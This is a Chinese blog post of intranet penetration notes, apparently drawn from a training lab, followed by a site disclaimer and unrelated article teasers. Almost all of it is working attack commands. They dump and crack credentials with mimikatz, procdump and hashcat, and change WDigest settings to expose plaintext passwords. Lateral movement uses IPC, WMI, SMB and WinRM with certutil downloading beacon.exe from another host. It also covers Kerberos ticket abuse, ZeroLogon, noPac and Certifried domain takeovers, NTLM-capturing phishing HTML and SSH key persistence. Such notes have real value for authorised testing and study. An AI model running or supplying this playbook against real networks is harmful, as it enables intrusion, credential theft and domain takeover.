内网渗透小结

域产生原因

简单来说就是为了安全和方便控制域内主机

一个具有一定规模的企业,每天都可能面临员工入职和离职,因此网络管理部门经常需要对域成员主机进行格式化消除磁盘的文件,然后重装系统及软件,以提供给新员工使用;因此,为了便于后期交接,大多网络管理员会做好一个系统镜像盘,统一安装所有的电 脑,并且在安装的时候设置惯用、甚至统一的密码。

域信息收集

net view /domain 查询域列表
net time /domain 从域控查询时间,会返回域控主机名,ping一下获取其ip
ipconfig /all 判断存在域
systeminfo 详细信息
netstat -ano 端口列表
tasklist 进程列表
route print 路由表

工具:Adfind BloodHound 
提权后cs端口扫描135 fscan 

密码&凭据&口令等

旨在收集各种密文,明文,口令等,为后续横向渗透做好测试准备
计算机用户 明文,HASH获取-mimikatz(win),mimipenguin(linux)
计算机各种协议服务口令获取-LaZagne(all),XenArmor(win),CS 插件

代理&隧道技术

代理:解决外网内网无法通讯问题
隧道:解决协议不出网,如不支持tcp协议

代理

msf auxiliary/server/socks_proxy,viper
cs 代理转发-Socks 代理

代理软件:Proxifier ProxyChains

隧道

frp隧道 tcp, udp, http, https
icmp pingtunnel

SMB 隧道

DNS 隧道

yarrick/iodine:iodine dns 隧道的官方 git 存储库 (github.com)

判断出网:nslookup/dig www.baidu.com

ssh隧道

后门上线

cs
正向连接 选beacon tcp
反向连接 转发上线
msf
run autoroute -p //查看当前路由表
run post/multi/manage/autoroute //添加当前路由表
内网上线,内网攻击模块要正向连接 set payload

cs 移交msf
foreign http ip port
shell spawn msf 
msf设置reverse_http ip port
msf 移交 cs
exploit/windows/local/payload_inject

注意Windows 防火墙策略
https://www.cnblogs.com/tomtellyou/p/16300557.html

横向移动

IPC,WMI,SMB,PTH,PTK,PTT,SPN,WinRM,WinRS,RDP,Plink,DCOM,
SSH;Exchange,LLMNR 投毒,Plink,DCOM,Kerberos_TGS,GPO&DACL,
域控提权漏洞,约束委派,数据库攻防,系统补丁下发执行,EDR 定向下发执行等。

window

Windows-Mimikatz 适用环境:
微软为了防止明文密码泄露发布了补丁 KB2871997,关闭了 Wdigest 功能。
当系统为 win10 或 2012R2 以上时,默认在内存缓存中禁止保存明文密码,
此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。

1、在线读
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"

2、离线读(解决Mimikatz被拦截)
https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump
Procdump是微软官方的工具,可在命令行将lsass导出且杀软不会拦截
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
下载之后
mimikatz.exe "sekurlsa::minidump lsass.DMP"
sekurlsa::logonPasswords full

3、解决高版本读取问题
修改注册表+强制锁屏+等待系统管理员重新登录+截取明文密码
修改注册表来让wdigest auth保存明文口令方式
修改:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
复原:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

4、HASH破解
https://www.cnblogs.com/Junglezt/p/16044372.html
-m 密文类型
-a破解类型
?l 小写
?s符号
?d 数字
字典破解:
hashcat.exe -a 0 -m 1000 ./hash.txt ./.pass.txt 
暴力破解:
hashcat.exe -a 3 -m 1000 518b98ad4178a53695dc997aa02d455c ?l?l?l?l?l?s?s?s?d?d

5、RDP凭据抓取
条件:使用远程桌面连接过其他机器后
查看连接记录:
cmdkey /list
查找本地的Credentials:
dir /a %userprofile%\appdata\local\microsoft\credentials\*
获取Credentials记录guidMasterKey值
mimikatz dpapi::cred /in:C:Users\webadmin\appdata\local\microsoft\credentials\5FBB2585F99BA05366F08E52F1C1740B
找到guidMasterKey对应的MasterKey:
mimikatz sekurlsa::dpapi
解密指定的MasterKey凭据:
mimikatz dpapi::cred /in:C:Users\webadmin\appdata\local\microsoft\credentials\5FBB2585F99BA05366F08E52F1C1740B /masterkey:f70e1a641096f1b63731d571b43b33aaf009f6af5a3352504e6ddb3cd158f17eec2d541f1868289ebf547d871dfb257a6bbbd5232550eb6f26a06d39378da4a5

1.IPC协议

IPC共享命名管道的资源,是为了实现进程间通信而开放的命名管道。
端口:139、445 
1.建立 IPC 连接接到目标主机
2. 拷贝要执行的命令脚本到目标主机
3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
4. 删除 IPC 连接

net use \\192.168.xx.xx\ipc$ password /user:administrator       #工作组
net use \\192.168.xx.xx\ipc$ password /user:xxx.com\administrator       #域环境
copy \\192.168.xx.xx\c$\1.bat 1.bat       #下载
​copy 1.bat \\192.168.xx.xx\c$      #上传
dir \\192.168.xx.xx\c$\      #查看目标主机文件
net use \\192.168.xx.xx\ipc$ /delete      #删除IPC连接

手工:

1、at < Windows2012
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立 ipc 连接
copy beacon.exe \\192.168.3.21\c$ #拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\beacon.exe #添加计划任务

2、schtasks >=Windows2012
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立 ipc 连接
copy beacon.exe \\192.168.3.32\c$ #复制文件到其 C 盘
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\beacon.exe /F #创 beacon 任务对应执行文件
schtasks /run /s 192.168.3.32 /tn beacon /i   #运行 beacon 任务
schtasks /delete /s 192.168.3.21 /tn beacon /f   #删除 beacon 任务

插件:cs插件

atexec-Impacket
1、py版本:https://github.com/fortra/impacket
python atexec.py god/administrator:Admin12345@192.168.3.21 "ver"
python atexec.py ./administrator:Admin12345@192.168.3.21 "ver"
python atexec.py -hashes:ccef208c64485269c20d62cad217341e7 god/administrator@192.168.3.21 "whoami"
python atexec.py -hashes:ccef208c64485269c20d62cad217341e7 ./administrator@192.168.3.21 "whoami"

2、EXE版本:https://gitee.com/Richchigga/impacket-examples-windowecs
shell atexec.exe god/administrator:Admin12345@192.168.3.21 "ver"
域内本地用户明文密文连接:
shell atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"

psexec

反弹一个cmd,可以代理转发后在命令行中执行
windows官方工具pstools
PsExec.exe -accepteula \\192.168.3.32 -u administrator -p 123.com -s cmd.exe
impacket套件
psexec -hashes:518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
cs插件-psexec

2.WMI协议

WMI 是通过 135 端口进行利用,支持用户名明文或者 hash 的方式进行认证,并且该方法不会在目标日志系统留下痕迹。

1.wmic
内部:(单执行,无回显)
wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"
wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create "cmd.exe c:/beacon.exe"

2.wmiexec-impacket
下载后门:
wmiexec ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"
执行后门:
wmiexec ./administrator:admin!@#45@192.168.3.32 "cmd.exe c:/beacon.exe"

3.SMB协议

利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。

smbexec-impacket 
外部:(交互式)
smbexec ./administrator:admin!@#45@192.168.3.32
smbexec god/administrator:admin!@#45@192.168.3.32
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :518b98ad4178a53695dc997aa02d455c god/administrator@192.168.3.32

4.PTH 哈希&PTK 密匙&PTT 票据

PTH(pass the hash) #利用的 lm 或 ntlm 的值进行的渗透测试(NTLM 认证攻击)
PTT(pass the ticket) #利用的票据凭证 TGT 进行渗透测试(Kerberos 认证攻击)
PTK(pass the key) #利用的 ekeys aes256 进行的渗透测试(NTLM 认证攻击)

pth:没打kb2871997补丁用户都可以连接,打了补丁只能 administrator 连接
ptk:打了kb2871997补丁且禁用了NTLM才能连接,采用 aes256 才能爆破key

4.1PTH

1、Mimikatz
mimikatz privilege::debug        //提升为调试权限
mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c      //反弹cmd
net use \\192.168.3.32\c$
copy beacon.exe \\192.168.3.32\c$
sc \\192.168.3.32 create bshell binpath= "c:\4.exe"
sc \\192.168.3.32 start bshell

2、impacket
atexec psexec ipc协议
smbexec smb协议
wmiexec wmi协议

4.2PTK

mimikatz sekurlsa::ekeys
mimikatz sekurlsa::pth /user:域用户名 /domain:域名/主机名 /aes256:aes256值    //反弹shell
dir \owa2010cn-god\c$

4.3PTT-漏洞&Kekeo&Ticket

1、漏洞-MS14068(webadmin极限)-域普通用户->域管理员
MS14-068是密钥分发中心(KDC)服务中的windows漏洞。它允许经过身份验证的用户在其kerberos票证(TGT)中插入任意PAC。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的kerberos tgt来获得票证

shell whoami/user     //获取当前用户的SID
shell ms14-068.exe -u webadmin@god.org s-5-1-5-21-1218902331-2157346161-1782232778-1132 -d 192.168.3.21 -p admin!@#45      //用SID,用户名,和密码伪造一个票据
shell klist purge         //清除票据连接
mimikatz kerberos::ptc TGT_webadmin@god.org.ccache  //将票据导入内存
shell dir \\OWA2010CN-GOD\c$
shell net use \\OWA2010CN-GOD\c$ 
copy beacon.exe \\OWA2010CN-GOD\c$ 
sc \\OWA2010CN-GOD create bindshell binpath= "c:\beacon.exe"
sc \\OWA2010CN-GOD start bindshell 
注意:成不成功看漏洞是否打补丁

2、kekeo(高权限,需NTLM)
https://github.com/gentilkiwi/kekeo
因为当前主机肯定之前与其他主机连接过,所以本地应该生成了一些票据我们可以导出这些票据,然后导入票据,利用。该方法类似于cookie欺骗
缺点:票据是有有效期的,只有在有效期内可用。

生成票据:shell kekeo "tgt::ask /user:Administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7" "exit"
shell kekeo "tgt::ask /user:Administrator /domain:sqlserver(本地用户,主机名) /ntlm:ccef208c6485269c20db2cad21734fe7" "exit"
导入票据:shell kekeo "kerberos::ptt TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" "exit"
shell klist
shell dir \owa2010cn-god\c$
注意:成不成功看ntlmhash的正确性

3.mimikatz(高权限,需Ticket)
重新导入票据,根据票据重新建立连接
mimikatz sekurlsa::tickets /export
mimikatz kerberos::ptt c:\Users\webadmin\Desktop\[0,22d3a]-2-1-40e00000Administrator@krbtgt-god.org.kirbi
shell klist
shell dir \\owa2010cn-god\c$
注意:成不成功看当前主机有没有被目标连接过

5.RDP

端口扫描3389

明文连接:
mstsc /console /v:192.168.3.32 /admin   //然后输入密码
HASH 连接:
通过修改注册表来开启Restricted Admin Mode,使用户可以使用NTLM哈希或者Kerberos票据进行身份验证,使用命令REG ADD HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f。开启完成后查看是否开启成功 执行命令 REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin",若DisableRestrictedAdmin值为0则代表开启成功

mimikatz privilege::debug
mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518698ad4178a53695dc997aa02d455c "/run:mstsc /restrictedadmin"

6.WinRM&WinRS

WinRM 代表 Windows 远程管理,是一种允许管理员远程执行系统管理任务的服务。
默认情况下支持 Kerberos 和 NTLM 身份验证以及基本身份验证。
移动条件:双方都启用的 Winrm rs 的服务!端口:5985
使用此服务需要管理员级别凭据。
Windows 2008 以上版本默认自动状态,以下版本Windows Vista/win7 上必须手动启动;
Windows 2012 之后的版本默认允许远程任意主机来管理。
攻击机开启:
winrm quickconfig -q winrm set winrm/config/Client @{TrustedHosts="*"}
1.探针可用:
cs 内置端口扫描 5985
powershell Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}
2.连接执行:
winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 whoami
winrs -r:192.168.3.21 -u:192.168.3.21\administrator -p:Admin12345 whoami
3.上线 CS&MSF:
winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe beacon.exe & beacon.exe"
4.CS 内置移动

7.Kerberos攻击

SPN:服务主体名称,是服务实例(比如:HTTP、SMB、MySQL等服务)的唯一标识符
kerberos攻击条件:采用rc4加密类型票据而不是aes256,使用Rubeus工具检测或看加密票据类型
1.spn扫描
powershell setspn -T 0day.org */*
powershell setspn -T 0day.org */* l findstr "MSSOL"
2.检测:
powershell Add-Type -AssemblyName system.ldentityModel
powershell New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"

工具检测
mimikatz
mimikatz kerberos::ask /target:MSSQLSvc/SqlServer.god.org:1433

Rubeus kerberoast
https://github.com/chostPack/Rubeus
3.导出:
mimikatz kerberos::list /export
4.破解:
python tgsrepcrack.py pass.txt "1-40a00000-jack@MSSQLSvc\~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi"
得到账号明文密码
https://www.freebuf.com/articles/system/174967.html

8.Exchange 

Exchange微软的邮件系统
1、端口扫描
exchange 会对外暴露接口如 OWA,ECP 等,会暴露在 80 端口,而且可以通过一些端口特征来定位exchange。
80,443,143,993,110,995,587等等
2、SPN 扫描
powershell setspn -T 0day.org -q */*

Exchange爆破账号
域\用户名 net user /domain
抓取到的密码
Burp+Proxifier

Exchange 漏洞
右键源代码看Exchange内核版本,确定Exchange版本,查找对应漏洞下载exp并利用,进行横向移动
https://learn.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019

9.域控提权

CVE-2017-0146(MS17010) 系统漏洞攻击域控

day133

CVE-2014-6324

见 PTT 横向移动

CVE-2020-1472

谨慎使用,域凭证长期置为空可能会出问题

0、获取计算机名:
nbtscan -v -h 192.168.3.21
1、连接DC清空凭证:
proxychains python cve-2020-1472-exploit.py OWA2010CN-GOD 192.168.3.21
2、获取域内HASH:
proxychains python secretsdump.py OWA2010CN-G0D\$@192.168.3.21 -just-dc -no-pass
3、连接域控PTH:
python wmiexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21
4、后续恢复密码

重置密码:
https://github.com/dirkianm/CVE-2020-1472
恢复密码:
https://github.com/risksense/zerologon

CVE-2021-42287

前提条件:一个域内普通账号
影响版本:windows基本全系列
https://github.com/cube0x0/noPac
https://learn.microsoft.com/zh-cn/sysinternals/downloads/pstools
前置:
1、代理后:
修改nost绑定域名和IP
2、扫描探针:
noPac scan -domain god.org -user webadmin -pass admin!@#45
3、利用连接:
noPac -domain god.org -user webadmin -pass admin!@#45 /dc owa2010cn-god.god.org /mAccount dadd /mPassword sdadasdsa /service cifs /ptt
PsExec owa2010cn-god.god.org cmd

CVE-2022-26923

当windows系统的Active Directory证书服务(cs)在域上运行时,由于机器账号中的**dNSHostName属性不具有唯一性**,域中普通用户可以将其更改为高权限的域控机器账号属性,然后从Active Directory证书服务中获取域控机器账户的证书,导致域中普通用户权限提升为域管理员权限。
简单来说就是创造一个机器账号,伪装成域控
导向:win8.1、win10、win11、Winserver2012R2、Winserver2016、Winserver2019、Winserver2022等版本
前提条件:
1、一个域内普通账生
2、域内存在证书服务器
kali添加访问域内信息 /etc/hosts
192.168.1.15 xiaodi.local
192.168.1.15 xiaodi-WIN-3C7S8328Q6R-CA
192.168.1.15 WIN-3C75532806R.xiaodi.local

获取CA结构名和计算机名
certutil -config - -ping
域内信息
192.168 1.15
test pass123
xiaodi-WIN-3C7SS323Q6R-CA
WIN-3C75532506R.xiaodi.local(域控)

1、申请低权限用户证书:
certipy req 'xiaodi.local/test:Pass123@WIN-3C75832806R.xiaodi.local' -ca xiaodi-WIN-3C78832806R-CA -template User -debug
2、检测证书
certipy auth -pfx test.pfx
3、创建一个机器账户:
python3 bloodyAD.py -d xiaodi local -u test -p 'a33123' --host 192.168.1.15 addComputer pwnmachine 'CVEPassword1234*'
4、设置机器账户属性(dNSHostName和DC一致):
python3 bloodyAD.py -d xiaodi.local -u test -p 'Pass123' --host 192.168.1.15 setAttribute 'CN=pwnmachine,cN=Computer3,DC=xiaodi,DC=local' dNSHostName '["WIN-3C78532506R.xiaodi.local"]'
5、再次申请证书:
certipy red
'xiaodi.local/pwnmachine$:CVEPassword1234*@192 168.1.15' -template Machine -dc-ip 192.168.1.15 -ca xiaodi-WIN-3C755325Q6R-CA
6、检测证书:
certipy auth pfx ./win-3c733323q6r.pfx -dc-ip 192.168.1.15
7、导出域控主机中所有hash:(impacket套件)
python3 secretsdump.py 'xiaodi.local/win-3078832806r5WIN-3C758328068.xiaodi.local' -hashs :10e026ef2258ad96239e2281a01827a4
8、利用HASH:
pth

10.SMB重放

dir \\192.168.x.x/c$
原理:使用smb通讯时,默认使用**当前**的账号密码连接
域用户mary jack,本地用户administrator等
一般重放本地system用户或administrator用户来进行横向移动

条件:通讯双方当前用户密码一致

MSF:
后门上线
添加路由:
run autoroute -p //查看当前路由表
run post/multi/manage/autoroute //添加当前路由表
backgroup //返回
重发模块:
use exploit/windows/smb/smb_relay
set smbhost 192.168.46.135 //转发攻击目标
set lhost 192.168.46.166 //设置本地 IP
set autorunscript post/windows/manage/migrate
主动连接:
set payload windows/meterpreter/bind_tcp
set rhost 192.168.3.X //设置连接目标
run

11.Inveigh 嗅探-Hash 破解

条件:一台域主机的管理员权限
Responder 中继攻击-NTLM Hash 破解
https://github.com/hashcat/hashcat/
https://github.com/Kevin-Robertson/Inveigh
1、监听拦截
Inveigh.exe
获取到的是 NET NTLM HASH V1 或 V2
2、触发拦截
dir \\192.168.3.x\c$
2.1、配合钓鱼,内网主机开启建议http服务
触发http://192.168.3.31/1.html

<!DOCTYPE html>
<html>
<head>
  <title></title>
</head>
<body>
  <img src="file:///\\192.168.3.32\2">
</body>
</html>

3.hashcat破解监听到的hash

12.非约束委派&约束委派&资源约束委派

委派攻击总结:
约束委派:首先判断委派的第二个设置,然后看针对用户,后续钓鱼配合
非约束委派:首先判断委派的第三个设置,然后看针对用户,主动攻击
资源约束委派:只看 DC 是不是 2012 及以上帮版本,然后看针对用户,主动攻击
参考:https://xz.aliyun.com/t/11555

非约束委派

原理:
机器 A(域控)访问具有非约束委派权限的机器 B 的服务,会把当前认证用户(域管用
户)的的 TGT 放在 ST 票据中,一起发送给机器 B,机器 B 会把 TGT 存储在 lsass 进程
中以备下次重用。从而机器 B 就能使用这个 TGT 模拟认证用户(域管用户)访问服务。

利用场景
攻击者拿到了一台配置非约束委派的机器权限,可以诱导域管来访问该机器,然后得到管
理员的 TGT,从而模拟域管用户。

复现配置:
1、信任此计算机来委派任何服务
2、setspn -U -A priv/test webadmin

判断查询:

查询域内设置了非约束委派的服务账户:
AdFind -b "DC=god,DC=org" -f  "(&(samAccountType=805306368 (userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
查询域内设置了非约束委派的机器账户:
AdFind -b "DC=god,DC=org" -f  "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
 

利用步骤:
1、域控与委派机器通讯
主动:
net use \\webserver
钓鱼:
http://192.168.3.31/31.html
<!DOCTYPE html>
<html>
<head>
  <title></title>
</head>
<body>
  <img src="file:///\\192.168.3.32\2">
</body>
</html>

2、导出票据到本地
mimikatz sekurlsa::tickets /export
3、导入票据到内存
mimikatz kerberos::ptt [0;fece8]-2-0-60a00000-Administrator@krbtgt-GOD.0RG.kirbi
4、连接通讯域控
dir \\owa2010cn-god\c$

约束委派

原理:
由于非约束委派的不安全性,微软在windowsservex2003中引入了约束委派,对Kerberos协议进行了拓展,引入了Service for User to Self(S4U2self)和Service for User to Proxy(S4U2proxy)。

利用场景:
如果攻击者控制了服务A的账号,并且服务A配置了到域控的CIFS服务的约束性委派。则攻击者可以先使用S4U2self申请域管用户(administrator)访问A服务的ST1,然后使用S4U2proxy 以administrator身份访问域控的CIFS服务,即相当于控制了域控。

复现配置:
1、主机设置仅信任此计算机指定服务-cifs
2、用户设置仅信任此计算机指定服务-cifs


1、判断查询
查询机器用户(主机)配置约束委派
AdFind -b "DC=god,DC=org" -f "((samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
查询服务账户(主机)配置约束委派
AdFind -b "DC=god,DC=org" -f "((samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
2、利用用户票据获取域控票据
kekeo "tgs::s4u /tgt:TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
/user:Administrator@god.org /service:cifs/owa2010cn-god" "exit"
kekeo "tgs::s4u /tgt:TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:Administrator@god.org /service:cifs/owa2010cn-god.god.org" "exit"
3、导入票据到内存
mimikatz kerberos::ptt TGS_Administrator@god.org@GOD.ORG_cifs~owa2010cn-god.god.org@GOD.ORG.kirbi
4、连接通讯域控
shell dir \\owa2010cn-god.god.org\c$

资源约束委派

基于资源的约束委派(RBCD)是在windows server 2012中新加入的功能,与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置RBCD。

-》计算机加入域时,加入域的域用户被控后也将导致使用当前域用户加入的计算机受控。

条件:
1、域控windows2012及以上
2、多台主机由一个域用户加入域

获取受害目标:看有哪些主机是由一个域用户加入域的,是否有相同sid值
AdFind.exe -h 192.168.3.33 -b "DC=xiaodi,DC=local" -f "objectClass=computer" ms-DS-CreatorSID
S-1-5-21-1695257952-3088263962-2055235443-1104
判断受害用户是谁:
sid2user.exe \\192.168.3.33 5 21 1695257952 3088263962 2055235443 1104

增加机器:
https://github.com/Kevin-Robertson/Powermad
Set-ExecutionPolicy Bypass -Scope Process
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount serviceA -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)

获取sid:
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
Import-Module .\PowerView.ps1
Get-NetComputer serviceA -Properties objectsid
S-1-5-21-1695257952-3088263962-2055235443-1107

设置修改属性:
powershell
Set-ExecutionPolicy Bypass -Scope Process
import-module .\powerview.ps1
$SD=New-Obiect Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWREWPDTLOCRSDRCWDWO;;;S-1-5-21-1695257952-3088263962-2055235443-1107)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DATA| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}'  -Verbose 

data是一个主机名

验证修改是否成功:
Get-DomainComputer DATA -Properties msds-allowedtoactonbehalfofotheridentity
清除修改设置:
Set-DomainObject DATA -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

连接目标获取票据
python getST.py -dc-ip 192.168.3.33 xiaodi.local/serviceA$:123456 -spn cifs/data.xiaodi.local impersonate administrator
导入票据到内存:
mimikatz administrator.ccache
连接利用票据:
dir data.xiaodi.local\c$
python psexec.py -k xiaodi.local/administrator@data.xiaodi.local -no-pass
 

linux

1.SSH协议

信息收集密码,密钥,然后横向

~/.ssh/config
~/.ssh/known_hosts
~/.bash_history
history

cat /etc/passwd
cat /etc/shadow

hash破解
hashcat.exe -a 3 -m 1800 linuxhash.txt pass.txt
加密形式:
linux sha512crypt $6$, SHA512 (Unix)加密方式:
hashcat -m 1800 sha512linux.txt p.txt
linux sha256crypt $5$, SHA256 (Unix)加密方式:
hashcat -m 7400 sha256linux.txt p.txt
linux 下 md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)加密方式:
hashcat -m 500 linuxmd5.txt p.txt
inux 下 bcrypt $2*$, Blowfish 加密方式:
hashcat -m 3200 linuxmd5.txt p.txt

ssh权限维持
ssh-keygen免密登录
#先创建一个密钥对
ssh-keygen
#再将公钥写入到宿主机的.ssh/authorized_keys文件中,然后就可以通过私钥免密登录了
echo '公钥key' >> /test/root/.ssh/authorized_keys
#最后给authorized_keys文件600权限
chmod 600 /test/root/.ssh/authorized_keys
#通过私钥连接目标宿主机
ssh root@38.6.164.174 -p 2222 -i .ssh/id_rsa

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/464159.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

python--剑指offer--中等--07. 重建二叉树

输入某二叉树的前序遍历和中序遍历的结果&#xff0c;请重建该二叉树。假设输入的前序遍历和中序遍历的结果中都不含重复的数字。 例如&#xff0c;给出 前序遍历 preorder [3,9,20,15,7] 中序遍历 inorder [9,3,15,20,7] 返回如下的二叉树&#xff1a; 3/ 9 20 / 15 7 …

Linux 下使用 socket 实现 TCP 客户端

目录 示例代码板级验证更多内容 套接字&#xff08;socket&#xff09;是 Linux 下的一种进程间通信机制&#xff08;socket IPC&#xff09;&#xff0c;它不仅支持同一主机的不同进程间通信&#xff0c;还支持跨网络的不同主机的进程间通信。 socket 允许通过标准的文件描述…

HarmonyOS-鸿蒙系统概述

你了解鸿蒙系统吗&#xff1f; 你看好鸿蒙系统吗&#xff1f; 今年秋季即将推出的HarmonyOS Next 星河版热度空前&#xff0c;一起来了解一下吧。本文将从HarmonyOS 的应用场景、发展历程、架构、开发语言、开发工具、生态建设六个角度聊一聊个人的理解。 1、应用场景 鸿蒙…

C# 打开文件对话框(OpenFileDialog)

OpenFileDialog&#xff1a;可以打开指定后缀名的文件&#xff0c;既能单个打开文件也能批量打开文件 /// <summary>/// 批量打开文档/// 引用&#xff1a;System.Window.Fomrs.OpenFileDialog/// </summary>public void OpenFile(){OpenFileDialog dialog new Op…

Linux中文件和目录管理(创建删除移动复制)

目录 1——一次建立一个或多个目录&#xff1a;mkdir ​2——创建一个空文件&#xff1a;touch 3——移动和重命名&#xff1a;mv 4——复制文件和目录&#xff1a;cp 5—— 删除目录和文件&#xff1a;rmdir和rm 在学习文件与目录的管理的一些命令之前&#xff0c;我们先…

QT5.14.2对象树之魅力 -- 让Qt编程如行云流水

对象编程是现代编程语言中不可或缺的核心理念。在C等编程语言中&#xff0c;对象的生命周期管理一直是开发者头疼的难题。手动管理对象创建和销毁&#xff0c;而一不小心就有可能导致内存泄漏等严重问题。而Qt以其独有的对象树模型&#xff0c;为我们解决了这一烦恼&#xff0c…

并查集(详解+例题)

1、作用 将两个集合合并 询问两个元素是否在一个集合中 2、基本原理 每个集合用一颗树表示。树根的编号就是整个集合的编号。每个节点存储它的父节点&#xff0c;p[x]表示x的父节点。 3、实现 问题1&#xff1a;如何判断树根&#xff1a;if(p[x]x); 问题2&#xff1a;如何求…

WiFi7 MLO技术框架

在2019年7月份&#xff0c;关于WiFi7 MLO的开放式讨论已经基本完成了&#xff0c;关注点集中体现在band steering/balancing和multi band aggregation上面。 英特尔基于开放讨论的基础&#xff0c;提出了MLO的协议技术框架&#xff0c;尽量兼容已有的协议文本&#xff0c;并提…

大数据数据分析-scala、IDEA、jdk之间的搭配关系

Scala主要是一门面向对象编程语言和函数式编程语言。 一、大数据框架&#xff08;处理海量/流式数据&#xff09; - ---以HADOOP 2. x为系列的大数据生态系统处理框架 离线数据分析&#xff0c;分析的数据为N1天数据 -----MapReduce 并行计算框架&#xff0c;分而治之…

C语言基础数据结构——栈和队列

目录 1.栈 1.1栈的选型 1.2 实现代码 2.队列 2.1整体思路 2.2初始化和销毁 2.3出入队列 2.4取队列元素 2.5判断队列是否为空 2.6返回队列中元素个数 2.7 Test 1.栈 栈&#xff1a;一种特殊的线性表&#xff0c;其只允许在固定的一端进行插入和删除元素操作。 进行数…

Docker入门二(应用部署、迁移与备份、DockerFile、docker私有仓库、Docker-Compose)

文章目录 一、应用部署1.MySQL部署2.Redis部署3.Nginx部署 二、迁移与备份1.容器做成镜像2.镜像备份和恢复(打包成压缩包&#xff09; 三、DockerFile0.镜像从哪里来&#xff1f;1.什么是DockerFile2.DockerFile 构建特征3.DockerFile命令描述4.构建一个带vim的centos镜像案例5…

Oracle Primavera Analytics 是什么,与P6的关系?

前言 Oracle Primavera P6 Analytics 是与P6有关的一个相对较新的模块&#xff0c;Primavera 用户社区在很大程度上尚未对其进行探索。 那么它到底有什么作用呢&#xff1f; 通过了解得知它旨在通过深入了解组织的项目组合绩效&#xff0c;帮助高级管理层对其项目组合做出更好…

【开源】SpringBoot框架开发就医保险管理系统

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 科室档案模块2.2 医生档案模块2.3 预约挂号模块2.4 我的挂号模块 三、系统展示四、核心代码4.1 用户查询全部医生4.2 新增医生4.3 查询科室4.4 新增号源4.5 预约号源 五、免责说明 一、摘要 1.1 项目介绍 基于JAVAVue…

MySQL | 表的约束

目录 1. 空属性 NULL 2. 默认值 DEFAULT 3. 列描述comment 4. zerofill 5. 主键 PRIMARY KEY 6. 自增长AUTO_INCREMENT 7. 唯一键UNIQUE 8. 外键 真正约束字段的是数据类型&#xff0c;但是数据类型约束很单一&#xff0c;需要有一些额外的约束&#xff0c;更好的保证数…

VS2019加QT5.14中Please assign a Qt installation in ‘Qt Project Settings‘.问题的解决

